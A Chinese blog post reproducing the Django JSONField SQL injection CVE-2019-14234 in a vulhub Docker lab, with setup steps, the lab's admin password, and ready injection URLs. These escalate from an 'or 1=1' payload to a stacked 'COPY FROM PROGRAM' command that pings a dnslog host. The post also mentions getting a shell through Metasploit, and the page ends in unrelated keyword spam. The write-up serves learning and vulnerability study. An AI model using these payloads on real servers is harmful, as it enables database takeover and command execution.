千家信息网

Django JSONField SQL注入漏洞CVE-2019-14234复现是怎样的

发表于:2026-11-03 作者:千家信息网编辑
千家信息网最后更新 2026年11月03日,这篇文章将为大家详细讲解有关Django JSONField SQL注入漏洞CVE-2019-14234复现是怎样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有
千家信息网最后更新 2026年11月03日Django JSONField SQL注入漏洞CVE-2019-14234复现是怎样的

这篇文章将为大家详细讲解有关Django JSONField SQL注入漏洞CVE-2019-14234复现是怎样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。


0x00 简介


Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。

0x01 漏洞概述


该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。

其中key_name是可控的字符串,最终生成的语句是WHERE (field->'[key_name]') = 'value',因此可以进行SQL注入。

0x02 影响版本


Django

1.11.x before 1.11.23

2.1.x before 2.1.11

2.2.x before 2.2.4

0x03 环境搭建


在线环境:

转发本文至朋友圈并截图发至公众号内

自行搭建:

直接使用vulhub的docker环境搭建

git clone https://github.com/vulhub/vulhub.gitcd vulhub/django/CVE-2019-14234/docker-compose up -d

访问http://ip:8000可以正常访问说明搭建成功

0x04 漏洞利用


通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的"键名"可控,就可以进行SQL注入

访问http://ip:8000/admin

输入用户名admin ,密码a123123123

然后访问

http://ip:8000/admin/vuln/collection/

然后构造URL进行查询

http://ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到已经注入成功,并且可以看到构造的SQL语句

为进一步验证注入语句,我们继续构造

http://ip:8000/admin/vuln/collection/?detail__title')='1' or 1=1--

后台生成的sql语句的关键部分是

WHERE ("vuln_collection"."detail" -> 'title')='1' or 1=1-- ') = %s

由于or 1=1永为真,因此应该返回所有结果,页面返回结果符合预期,如下图

下一步结合CVE-2019-9193我们尝试进行命令注入,构造url如下

http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

页面结果虽然报错,但是报错原因是no results to fetch,说明我们的语句已经执行

然后用dnslog检测是否可以执行命令

http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping c2pn4v.dnslog.cn'--%20

成功检测到流量

复现环境里的postgresql数据库docker没对外的端口映射,如果开了或者真实环境里,还可以结合msf通过CVE-2019-9193来getshell

关于Django JSONField SQL注入漏洞CVE-2019-14234复现是怎样的就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

语句 漏洞 数据 环境 生成 数据库 成功 结果 查询 位置 内容 原因 命令 字符 字符串 文章 更多 框架 用户 知识 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广州紫鲸互联网科技有限公司 互联网巨头科技公司 华宇互联网科技 猪兼强互联网科技 鑫亿盛互联网科技 狮子座互联网科技培训 佰商互联网科技有限公司 居家互联网科技有限公司 河南猎农互联网科技有限公司 互联网媒体平台算高科技产业 想开互联网科技公司怎么样 乌苏新华互联网科技做什么的 互联网科技的全部知识 沐思想互联网科技有限公司 互联网第三次科技革命特征 郑州欣桑互联网科技有限公司 科技互联网公司两年变化 互联网对科技影响 长沙易易互联网科技有限公司 伍佰万互联网科技是干嘛的 互联网科技公司华为 网络科技有限互联网 华中科技大学互联网 互联网科技博主是什么意思 湖南诚度互联网科技有限公司 健康食品互联网创新科技园项目 洛阳共同富裕互联网科技有限公司 深圳艾果互联网通讯科技 区块链结合互联网科技 中国主要互联网科技公司
0